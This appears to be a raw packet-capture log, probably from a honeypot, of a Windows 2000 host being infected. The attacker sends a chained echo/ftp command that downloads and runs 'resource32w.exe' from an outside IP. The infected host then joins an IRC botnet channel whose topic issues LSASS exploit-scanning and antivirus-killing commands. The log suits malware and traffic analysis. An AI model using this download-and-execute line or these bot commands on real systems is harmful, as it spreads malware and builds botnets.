VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: 220 WinFtpd 1.2 VICTIM: USER a ATTACKER: 331 Password required VICTIM: PASS a ATTACKER: echo open 59.115.165.153 31927>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 230 User logged in. VICTIM: TYPE I ATTACKER: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32>echo open 59.115.165.153 31927>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 200 Type set to I. VICTIM: PORT 192,168,1,37,4, ATTACKER: 200 PORT command successful. ATTACKER: RETR resource32w.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye. VICTIM: open 59.115.165.153 31927USER abinaryget resource32w.exequit VICTIM: NICK [SOUL]529693USER tnnnuum 0 0 :[SOUL]529693 ATTACKER: :irc.celestial.org NOTICE AUTH :*** Looking up your hostname... ATTACKER: :irc.celestial.org NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:irc.celestial.org NOTICE [SOUL]529693 :*** If you are having problems connecting due to ping timeouts, please type /quote pong 575E5F54 or /raw pong 575E5F54 now.PING :575E5F54 ATTACKER: PONG :575E5F54 ATTACKER: :irc.celestial.org 001 [SOUL]529693 :Welcome to the celestial IRC Network [SOUL]529693!tnnnuum@192.168.1.37:irc.celestial.org 002 [SOUL]529693 :Your host is irc.celestial.org, running version Unreal3.2.3:irc.celestial.org 003 [SOUL]529693 :This server was created Sun Mar 13 21:51:25 2005:irc.celestial.org 004 [SOUL]529693 irc.celestial.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.celestial.org 005 [SOUL]529693 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.celestial.org 005 [SOUL]529693 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=celestial CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.celestial.org 251 [SOUL]529693 :There are 1 users and 632 invisible on 1 servers VICTIM: JOIN #hell troopers ATTACKER: :irc.celestial.org 252 [SOUL]529693 1 :operator(s) online:irc.celestial.org 254 [SOUL]529693 4 :channels formed:irc.celestial.org 255 [SOUL]529693 :I have 633 clients and 0 servers:irc.celestial.org 265 [SOUL]529693 :Current Local Users: 633 Max: 3658:irc.celestial.org 266 [SOUL]529693 :Current Global Users: 633 Max: 952:irc.celestial.org 375 [SOUL]529693 :- irc.celestial.org Message of the Day - :irc.celestial.org 372 [SOUL]529693 :- 6/5/2005 12:50:irc.celestial.org 372 [SOUL]529693 :- celestial.org:irc.celestial.org 376 [SOUL]529693 :End of /MOTD command.:[SOUL]529693 MODE [SOUL]529693 :+iwx VICTIM: USERHOST [SOUL]529693MODE [SOUL]529693 +ixJOIN #hell troopersUSERHOST [SOUL]529693MODE [SOUL]529693 +ixJOIN #hell troopersUSERHOST [SOUL]529693MODE [SOUL]529693 +ixJOIN #hell troopers ATTACKER: :[SOUL]529693!tnnnuum@A0123CF7.BE8A6618.1A0AE753.IP JOIN :#hell:irc.celestial.org 332 [SOUL]529693 #hell :.advscan lsass_445 100 5 0 -b -r -s -z -q|.advscan lsass_445 100 10 0 x.x.x.x -r -z -s|.avfwkiller start -s:irc.celestial.org 333 [SOUL]529693 #hell MiStA_SimpAtiA 1198892994:irc.celestial.org 353 [SOUL]529693 @ #hell :[SOUL]529693 ~MiStA_SimpAtiA :irc.celestial.org 366 [SOUL]529693 #hell :End of /NAMES list. ATTACKER: :irc.celestial.org 302 [SOUL]529693 :[SOUL]529693=+tnnnuum@192.168.1.37 :irc.celestial.org 302 [SOUL]529693 :[SOUL]529693=+tnnnuum@192.168.1.37 :irc.celestial.org 302 [SOUL]529693 :[SOUL]529693=+tnnnuum@192.168.1.37